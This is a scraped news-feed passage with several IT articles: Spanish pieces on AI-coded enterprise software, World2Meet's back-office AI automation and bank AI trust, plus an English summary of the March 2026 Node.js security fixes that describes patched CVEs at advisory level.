<p>En cambio, Reyes predice que los asistentes y agentes de programación de IA competirán con las aplicaciones que forman la capa que rodea a los principales sistemas empresariales; y cree que las herramientas que simplemente conectan otros productos, visualizan datos internos o proporcionan pequeñas utilidades de flujo de trabajo son más fáciles de generar bajo demanda.</p>



<p>Adam Arellano, director técnico de campo en Harness, proveedor de herramientas de desarrollo impulsadas por IA, también observa cierta tendencia hacia el desarrollo de software empresarial propio por parte de las organizaciones, pero advierte de los riesgos.</p>



<p>En su opinión, “esto está ocurriendo con frecuencia, con algunos casos extremos en los que un alto directivo ha ordenado: “No se comprará software nuevo ni se contratará personal, háganlo con IA. Hay otros enfoques más razonables en los que una empresa ha creado soluciones puntuales para problemas muy específicos y ha obtenido ciertos niveles de éxito que resultan útiles a corto plazo, pero que a veces fracasan al cabo de un tiempo”.</p>



<p>Las ventajas de programar software empresarial propio con Vibe —según Arellano— incluyen la satisfacción de crear de inmediato una herramienta para una necesidad específica. Pero también cree que puede existir otro reto, como es mantener el software programado con Vibe y conseguir que funcione con otras aplicaciones.</p>



<p>Para Arellano, “no es algo exclusivo de las herramientas creadas con <em>vibe coding</em>; siempre ha sido la parte difícil de las soluciones puntuales en la empresa, pero conseguir que estas funcionen de forma fiable y se integren bien con plataformas más grandes o programas de referencia requiere mucho trabajo”. Es más, considera que “el <em>vibe coding</em> hace que el problema sea urgente porque la velocidad a la que se pueden producir estas herramientas es mucho mayor que la capacidad de las empresas para integrar sus resultados, comprender cómo funcionan y mantener sus conexiones”.</p>



<p>Arellano ve poco probable que la codificación por intuición de aplicaciones internas críticas ahorre mucho dinero o tiempo en un futuro inmediato, a menos que el proceso esté bien gestionado. Y señala las recientes interrupciones en AWS relacionadas con el código generado por IA.</p>



<p>Sin embargo, también explica que las mejoras en los asistentes de programación basados en IA facilitarán a largo plazo que las empresas desarrollen su propio software empresarial. “Llevará un tiempo y, como ocurre con cualquier nueva tecnología o herramienta —afirma—, el camino hacia la perfección estará plagado de los restos rotos de herramientas “casi lo suficientemente buenas, pero no del todo”, afirma, para apostillar: “Muchas cosas se van a romper mientras tanto”.</p>



<h2 class="wp-block-heading">Seducidos por los asistentes de codificación con IA</h2>



<p>Otros líderes de TI ven riesgos importantes en el desarrollo de software empresarial con IA. Geoff Burke, asesor tecnológico sénior del proveedor de defensa contra el <em>ransomware</em> Object First, llama a esta práctica una “fase de seducción”.</p>



<p>“Al principio, parece un socio brillante —dice—, pero si se le da demasiada autonomía, introduce imprecisiones y complejidad, y elude las normas de seguridad, lo que llevará el doble de tiempo solucionar más adelante”.</p>



<p>Burke considera que el desarrollo asistido por IA debe operar bajo estrictos controles de acceso, revisiones por pares rigurosas, pruebas sólidas y aislamiento de la información confidencial y los entornos de producción.</p>



<p>Lo que le lleva a decir que “las empresas están incorporando la IA a toda prisa para parecer modernas, lo que puede estar bien en algunas partes de la pila, pero en los flujos de trabajo y repositorios de desarrollo centrales, los directores de sistemas de información no deberían seguir tendencias que se basan en una IA experimental para tomar decisiones críticas sobre el código y la integridad de los datos”.</p>



<p>Blake Crawford, cofundador y director técnico de la consultora de TI Fusion Collective, considera que la programación colaborativa con controles estrictos puede dar buenos resultados, pero el caos podrías desatarse si los empleados ajenos al equipo de TI crean discretamente sus propias soluciones alternativas utilizando asistentes de programación con IA.</p>



<p>Por eso cree que existe un enorme potencial de deuda técnica devastadora cuando todos los empleados se sienten libres de crear sus propias aplicaciones empresariales sin supervisión; y añade que la mayoría de los profesionales de TI con experiencia conocerán los puntos fuertes y débiles del software generado por IA, pero es posible que un empleado de contabilidad que cree aplicaciones complementarias para su flujo de trabajo de SAP no los conozca.</p>



<p>En su caso, reconoce utilizar asistentes de programación con IA en su práctica diaria, si bien lleva más de 25 años dedicado a la carrera tecnológica. “Entiendo en qué destacan los asistentes de programación con IA —admite— y, lo que es más importante, cómo se define lo que es “bueno” en el desarrollo de software. Eso me permite detectar problemas rápidamente y evitar cualquier deuda técnica adicional”.</p>



<p>Crawford defiende que los asistentes de IA brotan en muchas empresas que no están centradas en productos de TI. Por lo que, en muchos casos, los empleados y los directivos tienen grandes dudas sobre la mejor manera de utilizarlos.</p>



<p>“Con la programación automatizada —afirma—, la empresa es dueña de lo que se crea, incluidos los problemas que ello genera. Una empresa no funciona bien si está formada por un sinfín de aplicaciones, muchas de las cuales se utilizarán de manera incorrecta y crecerán más allá de su alcance. El resultado será un problema completo, desde el soporte hasta la integración”.</p>



<p>Crawford ve cómo crece la tentación de desarrollar aplicaciones empresariales propias a medida que mejoran los asistentes de programación basados en IA, pero insta a la precaución.</p>



<p>Y dice para concluir: “Habrá un serio retroceso cuando llegue la hora de pagar la factura por arquitecturas deficientes y la deuda técnica acumulada. Si las empresas no tienen cuidado, los directivos se enfrentarán a problemas que tardarán años, sino décadas, en resolver”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js Fixes Critical Flaws, Patches DoS Risk in Latest Security Update]]></title>
<description><![CDATA[The Node.js project has issued a series of security updates addressing multiple vulnerabilities across its active release lines. The update covers versions in the 20.x, 22.x, 24.x, and 25.x branches, and includes fixes for several high, medium, and low severity issues. Among the most notable conc...]]></description>
<link>https://tsecurity.de/de/3382561/it-security-nachrichten/nodejs-fixes-critical-flaws-patches-dos-risk-in-latest-security-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3382561/it-security-nachrichten/nodejs-fixes-critical-flaws-patches-dos-risk-in-latest-security-update/</guid>
<pubDate>Thu, 26 Mar 2026 09:51:47 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1500" height="1000" src="https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="CVE-2026-21637" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637.webp 1500w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637.webp 1500w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-1140x760.webp 1140w" sizes="(max-width: 1500px) 100vw, 1500px" title="Node.js Fixes Critical Flaws, Patches DoS Risk in Latest Security Update 1"></p><span data-contrast="auto">The Node.js project has issued a series of security updates addressing multiple vulnerabilities across its active release lines. The update covers versions in the 20.x, 22.x, 24.x, and 25.x branches, and includes fixes for several high, medium, and low severity issues. Among the most notable concerns is CVE-2026-21637, which appears prominently in the release due to its incomplete nature prior to remediation.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The <a href="https://nodejs.org/en/blog/vulnerability/march-2026-security-releases" target="_blank" rel="nofollow noopener">March 2026 security rollout</a> includes updates to dependencies such as undici (versions 6.24.1 and 7.24.4) for supported release lines. A key issue addressed is tied to CVE-2026-21637, which exposed weaknesses in TLS error handling.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Incomplete Fix for CVE-2026-21637 Leads to Remote DoS Risk</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="27287">vulnerability</a> CVE-2026-21637 stems from improper exception handling in the TLS layer. Specifically, the </span><span data-contrast="auto">loadSNI()</span><span data-contrast="auto"> function in </span><span data-contrast="auto">_tls_wrap.js</span><span data-contrast="auto"> lacked a </span><span data-contrast="auto">try/catch</span><span data-contrast="auto"> mechanism. This oversight left </span><span data-contrast="auto">SNICallback</span><span data-contrast="auto"> executions vulnerable to unhandled synchronous exceptions.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">When unexpected input is passed, and the callback throws an error, the exception bypasses <a href="https://thecyberexpress.com/cloudflare-zero-day-waf-bypass-acme/" target="_blank" rel="noopener">TLS protection</a> and results in an uncaught exception. In practical terms, this can crash into a Node.js process, leading to a potential Remote Denial of Service (DoS). Notably, similar callback pathways like ALPN and PSK had already been secured under CVE-2026-21637, making this an incomplete fix of the same vulnerability.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">This issue impacts all Node.js versions that previously received the CVE-2026-21637 patch, namely 20.x, 22.x, 24.x, and 25.x, particularly in environments where </span><span data-contrast="auto">SNICallback</span><span data-contrast="auto"> may fail on malformed server name inputs. The <a href="https://thecyberexpress.com/webkit-vulnerability-fixed-in-apple-update/" target="_blank" rel="noopener">vulnerability</a> was reported by mbarbs and resolved by mcollina.</span>
<h3 aria-level="2"><b><span data-contrast="none">Additional High Severity Vulnerability in Node.js HTTP Handling</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Another critical issue, tracked as CVE-2026-21710, affects HTTP request processing. A specially crafted request containing a </span><span data-contrast="auto">proto</span><span data-contrast="auto"> header can trigger an uncaught </span><span data-contrast="auto">TypeError</span><span data-contrast="auto"> when applications access </span><span data-contrast="auto">req.headersDistinct</span><span data-contrast="auto">.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">This occurs because </span><span data-contrast="auto">dest["proto"]</span><span data-contrast="auto"> resolves to </span><span data-contrast="auto">Object.prototype</span><span data-contrast="auto"> instead of </span><span data-contrast="auto">undefined</span><span data-contrast="auto">, causing a </span><span data-contrast="auto">.push()</span><span data-contrast="auto"> operation on a non-array object. Since the error is thrown within a property getter, it cannot be intercepted by standard error handlers. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">This leaves applications vulnerable unless developers explicitly wrap each access in </span><span data-contrast="auto">try/catch</span><span data-contrast="auto"> blocks. All Node.js HTTP servers running versions 20.x through 25.x are affected. The issue was reported by yushengchen and fixed by mcollina.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Medium Severity Issues Affecting Node.js Runtime and Security</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Several medium-severity <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="27288">vulnerabilities</a> were also addressed in this release:</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<ul>
 	<li><b><span data-contrast="auto">CVE-2026-21711</span></b><span data-contrast="auto">: </span><span data-contrast="auto">A bypass in the Node.js Permission Model allows Unix Domain Socket (UDS) servers to bind and listen without the </span><span data-contrast="auto">--allow-net</span><span data-contrast="auto"> flag. This flaw enables unauthorized inter-process <a href="https://thecyberexpress.com/telecommunication-sector-cyber-threats/" target="_blank" rel="noopener">communication</a> even when network access is intended to be restricted. It affects version 25.x and was reported by xavlimsg.</span></li>
 	<li><b><span data-contrast="auto">CVE-2026-21712</span></b><span data-contrast="auto">: A malformed internationalized domain name passed to </span><span data-contrast="auto">url.format()</span><span data-contrast="auto"> can trigger an assertion failure in </span><span data-contrast="auto">node_url.cc</span><span data-contrast="auto">, crashing the process. This impacts versions 24.x and 25.x. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><b><span data-contrast="auto">CVE-2026-21713</span></b><span data-contrast="auto">: A timing side-channel vulnerability in HMAC verification uses </span><span data-contrast="auto">memcmp()</span><span data-contrast="auto"> instead of a constant-time comparison. This can leak timing <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="27289">data</a> that might be exploited to infer MAC values under specific conditions. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><b><span data-contrast="auto">CVE-2026-21714</span></b><span data-contrast="auto">: A memory leak in HTTP/2 servers occurs when </span><span data-contrast="auto">WINDOW_UPDATE</span><span data-contrast="auto"> frames are abused, leading to resource exhaustion. The </span><span data-contrast="auto">Http2Session</span><span data-contrast="auto"> object is not cleaned up even after a </span><span data-contrast="auto">GOAWAY</span><span data-contrast="auto"> frame is issued. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><b><span data-contrast="auto">CVE-2026-21717</span></b><span data-contrast="auto">: A HashDoS vulnerability in the V8 engine allows attackers to generate predictable hash collisions using integer-like strings. This can degrade performance, especially in endpoints processing untrusted JSON input. </span></li>
</ul>
<h3><b><span data-contrast="none">Low Severity Vulnerabilities in Node.js Permission Model</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Two lower-severity issues were also identified:</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<ul>
 	<li><b><span data-contrast="auto">CVE-2026-21715</span></b><span data-contrast="auto">: The </span><span data-contrast="auto">fs.realpathSync.native()</span><span data-contrast="auto"> method bypasses read permission checks, allowing file existence disclosure even under restricted filesystem permissions. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><b><span data-contrast="auto">CVE-2026-21716</span></b><span data-contrast="auto">: An incomplete patch for CVE-2024-36137 leaves </span><span data-contrast="auto">FileHandle.chmod()</span><span data-contrast="auto"> and </span><span data-contrast="auto">FileHandle.chown()</span><span data-contrast="auto"> in the promises API without proper permission enforcement, enabling <a href="https://thecyberexpress.com/chuck-e-cheese-data-breach-apks-images-leaked/" target="_blank" rel="noopener">unauthorized modifications</a>. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
</ul>
<h3 aria-level="2"><b><span data-contrast="none">Impact and Affected Node.js Versions</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">The impact varies slightly across versions:</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<ul>
 	<li><b><span data-contrast="auto">Node.js 25.x</span></b><span data-contrast="auto">: 2 high, 5 medium, 2 low severity vulnerabilities </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><b><span data-contrast="auto">Node.js 24.x</span></b><span data-contrast="auto">: 2 high, 4 medium, 2 low severity vulnerabilities </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><b><span data-contrast="auto">Node.js 22.x</span></b><span data-contrast="auto">: 2 high, 4 medium, 2 low severity vulnerabilities </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><b><span data-contrast="auto">Node.js 20.x</span></b><span data-contrast="auto">: 2 high, 4 medium, 2 low severity vulnerabilities </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
</ul>
<span data-contrast="auto">The project released updated versions to address these issues:</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<ul>
 	<li><span data-contrast="auto">Node.js v20.20.2 </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Node.js v22.22.2 </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Node.js v24.14.1 </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Node.js v25.8.2 </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[“La IA invisible es la que realmente está aportando valor”]]></title>
<description><![CDATA[La inteligencia artificial es sin duda una de las tecnologías del momento, palabra clave en todos los foros empresariales. Pero cuando se analizan las estadísticas de despliegue, se comprueba que no todas las organizaciones están implementando estas herramientas en el mismo grado; muchas todavía ...]]></description>
<link>https://tsecurity.de/de/3382498/it-nachrichten/la-ia-invisible-es-la-que-realmente-est-aportando-valor/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3382498/it-nachrichten/la-ia-invisible-es-la-que-realmente-est-aportando-valor/</guid>
<pubDate>Thu, 26 Mar 2026 09:31:44 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La <strong>inteligencia artificial </strong>es sin duda una de las tecnologías del momento, palabra clave en todos los foros empresariales. Pero cuando se analizan las <a href="https://www.cio.com/article/4148799/agotamiento-silencioso-de-los-trabajadores-la-nueva-lacra-de-la-ia.html">estadísticas de despliegue</a>, se comprueba que no todas las organizaciones están implementando estas herramientas en el mismo grado; muchas todavía tantean la tecnología, con casos de uso concretos y limitados. Otras, sin embargo, la han integrado de forma que transforme la operativa diaria. Este es el caso de <strong>World2Meet </strong>—W2M—, división de viajes del Grupo Iberostar y finalista en la categoría del Mejor proyecto de IA y automatización inteligente en los <a href="https://www.cio.com/article/4096596/dimitris-bountolos-ferrovial-coca-cola-europacific-partners-y-lantik-los-protagonistas-de-los-cio-100-awards-en-espana-en-2025.html">CIO 100 Awards 2025</a>, organizados por esta cabecera, por su iniciativa IPA (Intelligent Process Automation).</p>



<h2 class="wp-block-heading">Integración en W2M</h2>



<p>¿Qué es IPA? “Lo llamamos internamente la IA invisible, la IA que no se ve, que es la IA que realmente está aportando valor”, resume Joan Barceló, CIO de la compañía, por teléfono. Puesto en marcha en 2023 con el objetivo de explorar todo lo que se podía automatizar y dotar de inteligencia para ganar en eficiencia y productividad, el proyecto IPA ha comenzado a devolver impacto en la organización en 2025. Barceló lo ejemplifica con casos concretos. Aplicada a su <em>contact center</em>, la tecnología IPA ha permitido que en un solo mes —enero de 2026— se procesen 165.000 correos electrónicos, que mediante IA se han clasificado de forma automática con una tasa de éxito del 92% y a los que se ha realizado en su totalidad un análisis de sentimiento. Además, en un 74% de los casos, mediante la información del correo se ha conseguido la recuperación de información de la reserva. “Lo que recibe el agente —explica Barceló— ya no es un email sin contexto, es un <em>email </em>clasificado, con un resumen de la situación y enriquecido por la información que necesita para la respuesta”. Una mejora en la eficiencia en el flujo operativo, sintetiza. En tiempo ahorrado, más de un minuto por caso, más de 33.000 horas anuales.</p>



<p>En este ejemplo, no hay una interacción directa ni de usuario ni de agente con una herramienta inteligente, tipo <em>chatbot</em>, pero este último “recibe toda esta información ya preparada para el poder operar de una forma más rápida”. Sucede también con las llamadas recibidas en el <em>contact center</em>: alrededor de 2.000 al día, que se descargan, transcriben y analizan con IA para extraer indicadores de calidad, como cuánto tiempo ha sonado la música de espera, cómo ha saludado y se ha identificado el agente, si se ha resuelto el problema y un análisis de sentimiento del cliente. “Antes de la IA se hacía un muestreo. Ahora tienes el análisis de las 2.000 llamadas diarias”. Barceló habla de evolución del <em>contact center</em>: de ser un canal de atención a un sensor estratégico del negocio.</p>



<figure class="wp-block-pullquote"><blockquote><p>“<strong><em>No queremos deshumanizar el proceso. Precisamente esta tecnología lo que lo que hace es apoyar y ayudar a las personas que forman parte de ese proceso</em></strong>“</p></blockquote></figure>



<p>Esta no es la única área en la que se está integrando la IA invisible del proyecto IPA. Barceló pone otro ejemplo con la unidad de negocio Corporate Mobility, en la que se da servicio a viajes de empresa. Cuando se hace una solicitud a través de <em>email </em>o mensaje, la IA se encarga de estructurar ese texto, buscar posibles cotizaciones de transporte y alojamiento en los sistemas correspondientes y, con esta información, realizar una propuesta a la persona encargada de gestionar la petición, supervisarla y revisarla antes de enviarla al cliente. “¿Qué ganamos con esto? Efectividad y tiempos de respuesta, pero no perdemos esa supervisión y ese control humano para nada. No queremos deshumanizar el proceso. Precisamente esta tecnología lo que lo que hace es apoyar y ayudar a las personas que forman parte de ese proceso”. En cifras: alrededor de 114.000 mails analizados, que se traducen en 21.000 casos estructurados. En el 92%, es el propio sistema el que genera estas propuestas que luego se supervisan. En total, se estiman entre 10 y 15 minutos de tiempo de trabajo de cada agente ahorrados por caso: entre 42.000 y 63.000 horas anuales liberadas.</p>



<p>Sin embargo, Barceló destaca que la IA no solo se traduce en ahorro en tiempo. En este caso específico, la integración de automatización inteligente lleva a una mejora en la precisión y la calidad percibida, mayor coherencia con las políticas corporativas y disminución de errores. La IA “<strong>ya no es un proyecto concreto, sino que es conectar todo lo que es tecnología, procesos y personas en el back office de la casa</strong>. Esto lo que llamamos nosotros una IA invisible, la IA de puertas para adentro y no la IA <em>face to face</em> con el cliente final”, reitera. Barceló explica que IPA no se limita a desarrollos propios, sino que también incluye la integración de sistemas de terceros, como es el caso de Samsara, la tecnología utilizada por la transportista de W2M en México. Esta solución provee de un sistema de monitorización inteligente, con geolocalización y cámaras, gracias a la cual se han reducido de forma significativa tanto los incidentes relacionados con la velocidad como el consumo de combustible y los costes de mantenimiento. Otro tipo de beneficios, más allá de la mejora en tiempo de trabajo pura y dura.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/03/GARPRESS-0669.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Joan Barceló (a la derecha de la imagen), en los CIO Awards 2025" class="wp-image-4149901" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/03/GARPRESS-0669.jpg?quality=50&amp;strip=all 4696w, https://b2b-contenthub.com/wp-content/uploads/2026/03/GARPRESS-0669.jpg?resize=300%2C200&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/03/GARPRESS-0669.jpg?resize=768%2C512&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/03/GARPRESS-0669.jpg?resize=1024%2C683&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/03/GARPRESS-0669.jpg?resize=1536%2C1024&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/03/GARPRESS-0669.jpg?resize=2048%2C1365&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2026/03/GARPRESS-0669.jpg?resize=1240%2C826&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2026/03/GARPRESS-0669.jpg?resize=150%2C100&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/03/GARPRESS-0669.jpg?resize=1045%2C697&amp;quality=50&amp;strip=all 1045w, https://b2b-contenthub.com/wp-content/uploads/2026/03/GARPRESS-0669.jpg?resize=252%2C168&amp;quality=50&amp;strip=all 252w, https://b2b-contenthub.com/wp-content/uploads/2026/03/GARPRESS-0669.jpg?resize=126%2C84&amp;quality=50&amp;strip=all 126w, https://b2b-contenthub.com/wp-content/uploads/2026/03/GARPRESS-0669.jpg?resize=720%2C480&amp;quality=50&amp;strip=all 720w, https://b2b-contenthub.com/wp-content/uploads/2026/03/GARPRESS-0669.jpg?resize=540%2C360&amp;quality=50&amp;strip=all 540w, https://b2b-contenthub.com/wp-content/uploads/2026/03/GARPRESS-0669.jpg?resize=375%2C250&amp;quality=50&amp;strip=all 375w" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><figure><code><strong>Joan Barceló (a la derecha de la imagen), en los CIO Awards 2025, premios de los que su compañía fue finalista en la categoría de mejor proyecto de IA. Le acompañan Isabel Reis (Dell), Javier Cressi (Cruz Roja), Albert Mercadal (Ferrovial) e Irene Muñoz (Renfe).</strong></code></figure>
</figcaption></figure><p class="imageCredit">Garpress</p></div>



<h2 class="wp-block-heading">Cómo trabajar la IA</h2>



<p>Barceló explica que, en el despliegue de esta IA invisible, el equipo de TI está “muy conectado a las diferentes áreas de negocio”. Si bien en un primer momento era la parte de tecnología la que detectaba posibles casos de uso donde integrar la IA, esto ha ido cambiando “ahora que ya dentro de la casa se ha extendido el uso y se conoce mejor”. En este sentido, habla de demanda desde las propias áreas de negocio, pero también del trabajo del área transversal de procesos, que se encarga de revisar, rediseñar e innovar en esta parte de procedimientos. “Sí que es cierto que hemos pedido que no nos pidan casos de uso de IA. Es decir, <strong>nos tienen que explicar su problema y nosotros vamos a dar una solución. Esa solución no siempre es IA</strong>: hay temas que se solucionan con un algoritmo, hay temas que se solucionan programando algo muy sencillito. Hay temas que es RPA, es automatización pura y dura y no hay que hacer nada más. Y hay temas que sí que son con IA, pero no todos con IA generativa”, señala. “Lo importante es ver en cada caso cuál aplicamos”.</p>



<p>Se trata, resume, de que la parte de TI “realmente resuelva las necesidades que hay. <strong>Tenemos ese componente estratégico que es el ofrecer tecnología con propósito, no es tecnología por tecnología</strong>”. En este sentido, destaca, “IPA no nació como una innovativa tecnológica aislada, nació como una respuesta directa a la estrategia de World2Meet”. Una estrategia que pasa por mantener la experiencia del viajero como diferencial, para lo cual se necesita escalar en eficiencia, velocidad, operativa, “manteniendo el control tanto de consistencia como de como de costes. Nos permite orquestar el proceso, nos permite unificar datos, nos permite reducir silos y además permite liberar tiempo operativo”. “No está sustituyendo el diferencial humano. Lo que está haciendo es amplificar esa capacidad”, reflexiona.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sólo el 11% de los bancos cuenta con sistemas verdaderamente fiables de IA y confía en ellos]]></title>
<description><![CDATA[IDC ha dado a conocer los resultados del estudio de SAS Data and AI Impact Report: The Trust Imperative, cuya principal conclusión es que la mayoría de las entidades bancarias está implementando la inteligencia artificial sin la supervisión y la infraestructura necesarias para ganarse esa confian...]]></description>
<link>https://tsecurity.de/de/3377679/it-nachrichten/slo-el-11-de-los-bancos-cuenta-con-sistemas-verdaderamente-fiables-de-ia-y-confa-en-ellos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3377679/it-nachrichten/slo-el-11-de-los-bancos-cuenta-con-sistemas-verdaderamente-fiables-de-ia-y-confa-en-ellos/</guid>
<pubDate>Tue, 24 Mar 2026 18:46:23 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>IDC ha dado a conocer los resultados del estudio de SAS <em>Data and AI Impact Report: The Trust Imperative</em>, cuya principal conclusión es que la mayoría de las entidades bancarias está implementando la inteligencia artificial sin la supervisión y la infraestructura necesarias para ganarse esa confianza. Y eso a pesar de que los bancos han invertido en IA antes que en la administración pública, los seguros y las ciencias de la vida.</p>



<p>Bastan estos tres datos como referencia:  </p>



<p>· Aproximadamente una cuarta parte (23 %) de los bancos opera en el nivel más alto del <em>Índice de IA Confiable</em> de IDC. Aun con estas ventajas, la mayoría de las instituciones bancarias se queda muy por debajo del “índice ideal” del documento, que combina una alta confianza con un alto nivel de fiabilidad.</p>



<p>· Sólo el 11 % de los bancos tiene sistemas verdaderamente fiables y confía en ellos.</p>



